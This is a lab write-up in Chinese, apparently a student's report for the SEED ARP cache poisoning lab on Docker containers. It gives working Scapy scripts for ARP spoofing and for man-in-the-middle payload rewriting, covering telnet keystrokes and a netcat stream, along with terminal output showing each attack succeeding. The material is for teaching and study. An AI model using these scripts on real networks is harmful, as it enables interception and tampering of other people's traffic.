

LAB 4

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Task 1

```
[07/18/21]seed@VM:~/../volumes$ dockps
abc3694b16f2  B-10.9.0.6
6eff222dccd8  A-10.9.0.5
54e82e76b652  M-10.9.0.105
```

Task 1.A

在 A 中 ping 10.9.0.6 和 10.9.0.105, 将两个 ip 加入 arp 缓存:

```
root@6eff222dccd8:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.105                ether    02:42:0a:09:00:69    C                     eth0
10.9.0.6                   ether    02:42:0a:09:00:06    C                     eth0
```

编写如下代码:

```
1 from scapy.all import *
2 E=Ether()
3 A=ARP()
4 A.op=1
5 A.psrc='10.9.0.6'
6 A.pdst='10.9.0.5'
7 pkt=E/A
8 sendp(pkt)
```

在 M 中运行上述代码, 发送 arp request:

```
root@54e82e76b652:/volumes# python3 arp_attack.py
.
Sent 1 packets.
```

查看 A 的 arp 缓存:

```
root@6eff222dccd8:/# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.9.0.105                ether    02:42:0a:09:00:69    C                     eth0
10.9.0.6                   ether    02:42:0a:09:00:69    C                     eth0
```

发现 B 的 ip 对应的 mac 地址被修改成 M 的 mac 地址。

Task 1.B

修改代码:

```
1 from scapy.all import *
2 E=Ether()
3 A=ARP()
4 A.op=2
5 A.psrc='10.9.0.6'
6 A.pdst='10.9.0.5'
7 pkt=E/A
8 sendp(pkt)
```

Scenario 1:

先清空 A 的 arp 缓存，重新 ping 10.9.0.6 和 10.9.0.105。

查看 A 的 arp 缓存：

```
root@6eff222dccd8:/# arp -n
```

Address	HWtype	HWaddress	Flags	Mask	Iface
10.9.0.105	ether	02:42:0a:09:00:69	C		eth0
10.9.0.6	ether	02:42:0a:09:00:06	C		eth0

无异常。

在 M 中运行上述 arp reply 代码。再次查看 A 的 arp 缓存：

```
root@6eff222dccd8:/# arp -n
```

Address	HWtype	HWaddress	Flags	Mask	Iface
10.9.0.105	ether	02:42:0a:09:00:69	C		eth0
10.9.0.6	ether	02:42:0a:09:00:69	C		eth0

发现 B 的 ip 对应的 mac 地址被修改成 M 的 mac 地址。攻击成功。

Scenario 2:

清空 A 的 arp 缓存：

```
root@6eff222dccd8:/# ip neigh flush dev eth0
root@6eff222dccd8:/# arp -n
```

在 M 中运行上述代码：

```
root@54e82e76b652:/volumes# python3 arp_attack.py
.
Sent 1 packets.
```

查看 A 的 arp 缓存：

```
root@6eff222dccd8:/# arp -n
```

Address	HWtype	HWaddress	Flags	Mask	Iface
10.9.0.105	ether	02:42:0a:09:00:69	C		eth0

缓存中不存在 B 的 ip。攻击不成功。

Task 1.C

修改代码如下：

```
1 from scapy.all import *
2 E=Ether()
3 A=ARP()
4 A.op=2
5 A.psrc='10.9.0.6'
6 A.pdst='10.9.0.6'
7 A.hwdst='ff:ff:ff:ff:ff:ff'
8 E.dst='ff:ff:ff:ff:ff:ff'
9 pkt=E/A
10 while 1:
11     sendp(pkt)
```

Scenario 1:

清空 A 的 arp 缓存，再次 ping 10.9.0.6 和 10.9.0.105。

查看 arp 缓存:

```
root@6eff222dccd8:/# arp -n
```

Address	HWtype	HWaddress	Flags	Mask	Iface
10.9.0.105	ether	02:42:0a:09:00:69	C		eth0
10.9.0.6	ether	02:42:0a:09:00:06	C		eth0

在 M 中运行上述代码, 查看 A 的 arp 缓存:

```
root@6eff222dccd8:/# arp -n
```

Address	HWtype	HWaddress	Flags	Mask	Iface
10.9.0.105	ether	02:42:0a:09:00:69	C		eth0
10.9.0.6	ether	02:42:0a:09:00:69	C		eth0

发现 B 的 ip 对应的 mac 地址被修改成 M 的 mac 地址, 攻击成功。

Scenario 2:

清空 A 的 arp 缓存:

```
root@6eff222dccd8:/# ip neigh flush dev eth0
root@6eff222dccd8:/# arp -n
root@6eff222dccd8:/# █
```

在 M 中再次运行上述代码。查看 A 的 arp 缓存:

```
root@6eff222dccd8:/# arp -n
root@6eff222dccd8:/# arp -n
root@6eff222dccd8:/# █
```

攻击失败。

Task 2

```
[07/18/21] seed@VM:~/.../volumes$ dockps
5baab392a99c  A-10.9.0.5
6c337261661d  B-10.9.0.6
6996d428945b  M-10.9.0.105
```

Step 1:

编写代码如下:

```

1 from scapy.all import *
2 E=Ether()
3 A=ARP()
4 B=ARP()
5
6 A.op=1
7 A.psrc='10.9.0.6'
8 A.pdst='10.9.0.5'
9
10 B.op=1
11 B.psrc='10.9.0.5'
12 B.pdst='10.9.0.6'
13
14
15 pkt1=E/A
16 pkt2=E/B
17
18 while 1:
19     sendp(pkt1)
20     sendp(pkt2)

```

在 A 中 ping 10.9.0.6 和 10.9.0.105，在 B 中 ping 10.9.0.5 和 10.9.0.105。

查看 A 的 arp 缓存：

```

root@5baab392a99c:/# arp -n
Address          HWtype  HWaddress           Flags Mask          Iface
10.9.0.105        ether   02:42:0a:09:00:69    C                   eth0
10.9.0.6          ether   02:42:0a:09:00:06    C                   eth0

```

查看 B 的 arp 缓存：

```

root@6c337261661d:/# arp -n
Address          HWtype  HWaddress           Flags Mask          Iface
10.9.0.105        ether   02:42:0a:09:00:69    C                   eth0
10.9.0.5          ether   02:42:0a:09:00:05    C                   eth0

```

在 M 中运行上述代码。

再次查看 A 的 arp 缓存：

```

root@5baab392a99c:/# arp -n
Address          HWtype  HWaddress           Flags Mask          Iface
10.9.0.105        ether   02:42:0a:09:00:69    C                   eth0
10.9.0.6          ether   02:42:0a:09:00:69    C                   eth0

```

A 的 arp 缓存中 B 的 ip 对应的 mac 地址被修改为 M 的 mac 地址。

查看 B 的 arp 缓存：

```

root@6c337261661d:/# arp -n
Address          HWtype  HWaddress           Flags Mask          Iface
10.9.0.105        ether   02:42:0a:09:00:69    C                   eth0
10.9.0.5          ether   02:42:0a:09:00:69    C                   eth0

```

B 的 arp 缓存中 A 的 ip 对应的 mac 地址被修改为 M 的 mac 地址。

攻击成功。

Step 2:

关闭 M 的 ip_forward:

```
root@6996d428945b:/volumes# sysctl net.ipv4.ip_forward=0
net.ipv4.ip_forward = 0
```

在 A 中 ping B:

```
root@5baab392a99c:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
^C
--- 10.9.0.6 ping statistics ---
13 packets transmitted, 0 received, 100% packet loss, time 12286ms
```

发现所有的数据包都被丢弃。

在 wireshark 中查看:

No.	Time	Source	Destination	Protocol	Length	Info
1	2021-07-18 22:4...	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request i
2	2021-07-18 22:4...	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request i
3	2021-07-18 22:4...	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request i
4	2021-07-18 22:4...	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request i
5	2021-07-18 22:4...	10.9.0.5	10.9.0.6	ICMP	98	Echo (ping) request i

发现所有的包都找不到 response。

在 B 中 ping A:

```
root@6c337261661d:/# ping 10.9.0.5
PING 10.9.0.5 (10.9.0.5) 56(84) bytes of data.
^C
--- 10.9.0.5 ping statistics ---
24 packets transmitted, 0 received, 100% packet loss, time 23542ms
```

所有的数据包都被丢弃。

在 wireshark 中查看:

4485	2021-07-18 22:5...	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) request ic
4486	2021-07-18 22:5...	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) request ic
4487	2021-07-18 22:5...	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) request ic
4488	2021-07-18 22:5...	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) request ic
4489	2021-07-18 22:5...	10.9.0.6	10.9.0.5	ICMP	98	Echo (ping) request ic

发现所有的包都找不到 response。

Step 3:

开启 M 的 ip_forward:

```
root@6996d428945b:/volumes# sysctl net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1
```

在 A 中 ping B:

```

root@5baab392a99c:/# ping 10.9.0.6
PING 10.9.0.6 (10.9.0.6) 56(84) bytes of data.
64 bytes from 10.9.0.6: icmp_seq=1 ttl=63 time=0.122 ms
From 10.9.0.105: icmp_seq=2 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=2 ttl=63 time=0.096 ms
From 10.9.0.105: icmp_seq=3 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=3 ttl=63 time=0.145 ms
From 10.9.0.105: icmp_seq=4 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=4 ttl=63 time=0.227 ms
From 10.9.0.105: icmp_seq=5 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=5 ttl=63 time=0.093 ms
From 10.9.0.105: icmp_seq=6 Redirect Host(New nexthop: 10.9.0.6)
64 bytes from 10.9.0.6: icmp_seq=6 ttl=63 time=0.176 ms
64 bytes from 10.9.0.6: icmp_seq=7 ttl=63 time=0.084 ms
^C
--- 10.9.0.6 ping statistics ---
7 packets transmitted, 7 received, 0% packet loss, time 6121ms
rtt min/avg/max/mdev = 0.084/0.134/0.227/0.048 ms

```

发现所有的包都被重定向。

在 wireshark 中查看：

4682	2021-07-18 22:5...	10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request	ic
4683	2021-07-18 22:5...	10.9.0.105	10.9.0.5	ICMP	126 Redirect	(f
4684	2021-07-18 22:5...	10.9.0.5	10.9.0.6	ICMP	98 Echo (ping) request	ic
4685	2021-07-18 22:5...	10.9.0.6	10.9.0.5	ICMP	98 Echo (ping) reply	ic
4686	2021-07-18 22:5...	10.9.0.105	10.9.0.6	ICMP	126 Redirect	(f
4687	2021-07-18 22:5...	10.9.0.6	10.9.0.5	ICMP	98 Echo (ping) reply	ic

发现存在 request 和 reply 报文。

Step 4:

在 M 中将 ip_forward 置 1:

```

root@6996d428945b:/volumes# sysctl net.ipv4.ip_forward=1
net.ipv4.ip_forward = 1

```

编写代码如下：

```

1#!/usr/bin/env python3
2from scapy.all import *
3IP_A = "10.9.0.5"
4MAC_A = "02:42:0a:09:00:05"
5IP_B = "10.9.0.6"
6MAC_B = "02:42:0a:09:00:06"
7def spoof_pkt(pkt):
8    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
9        newpkt = IP(bytes(pkt[IP]))
10       del(newpkt.chksum)
11       del(newpkt[TCP].payload)
12       del(newpkt[TCP].chksum)
13
14       if pkt[TCP].payload:
15           data = pkt[TCP].payload.load
16           datalen=len(data)
17           newdata = 'Z'*datalen
18           send(newpkt/newdata)
19
20       else:
21           send(newpkt)
22
23     elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
24
25         newpkt = IP(bytes(pkt[IP]))
26         del(newpkt.chksum)
27         del(newpkt[TCP].chksum)
28         send(newpkt)
29 f = 'tcp and host 10.9.0.5'
30 pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)

```

代码将从 A 发往 B 的数据均修改成 Z，对于从 B 到 A 的报文不修改。

在 A 中 telnet B:

```

root@5baab392a99c:/# telnet 10.9.0.6
Trying 10.9.0.6...
Connected to 10.9.0.6.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
6c337261661d login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

```

连接成功后，将 ip_forward 置 0:

```

root@6996d428945b:/# sysctl net.ipv4.ip_forward=0
net.ipv4.ip_forward = 0

```

在 M 中运行上述代码。

发现在 A 中输入的字符均变成 Z:

```
Connected to 10.9.0.6.
Escape character is '^]'.
Ubuntu 20.04.1 LTS
6c337261661d login: seed
Password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-54-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

seed@6c337261661d:~$ ZZZZZZZZZZZZ
```

Task 3

将 M 的 ip_forward 置为 1，通过 netcat 连接 A 和 B:

```
root@6c337261661d:/# nc -lp 9090
```

```
root@5baab392a99c:/# nc -nv 10.9.0.6 9090
Connection to 10.9.0.6 9090 port [tcp/*] succeeded!
```

B 作为服务器，A 作为客户端，连接成功。

修改 mitm.py 代码如下:


```

1#!/usr/bin/env python3
2from scapy.all import *
3IP_A = "10.9.0.5"
4MAC_A = "02:42:0a:09:00:05"
5IP_B = "10.9.0.6"
6MAC_B = "02:42:0a:09:00:06"
7def spoof_pkt(pkt):
8    if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
9        newpkt = IP(bytes(pkt[IP]))
10       del(newpkt.chksum)
11       del(newpkt[TCP].payload)
12       del(newpkt[TCP].chksum)
13
14       if pkt[TCP].payload:
15           data = pkt[TCP].payload.load
16
17           newdata =data.replace(str.encode('yuchen'),str.encode('aaaaaa'))
18           send(newpkt/newdata)
19       else:
20           send(newpkt)
21
22     elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
23
24         newpkt = IP(bytes(pkt[IP]))
25         del(newpkt.chksum)
26         del(newpkt[TCP].chksum)
27         send(newpkt)
28 f = 'tcp and host 10.9.0.5'
29 pkt = sniff(iface='eth0', filter=f, prn=spoof_pkt)

```

在 M 中将 ip_forward 置 0，并运行上述代码。

在 A 中输入如下内容：

```

root@5baab392a99c:/# nc -nv 10.9.0.6 9090
Connection to 10.9.0.6 9090 port [tcp/*] succeeded!
yuchen
chenyu
yuchen123

```

B 中收到内容如下：

```

root@6c337261661d:/# nc -lp 9090
aaaaaa
chenyu
aaaaaa123

```

发送的 yuchen 均被修改成 aaaaaa。攻击成功。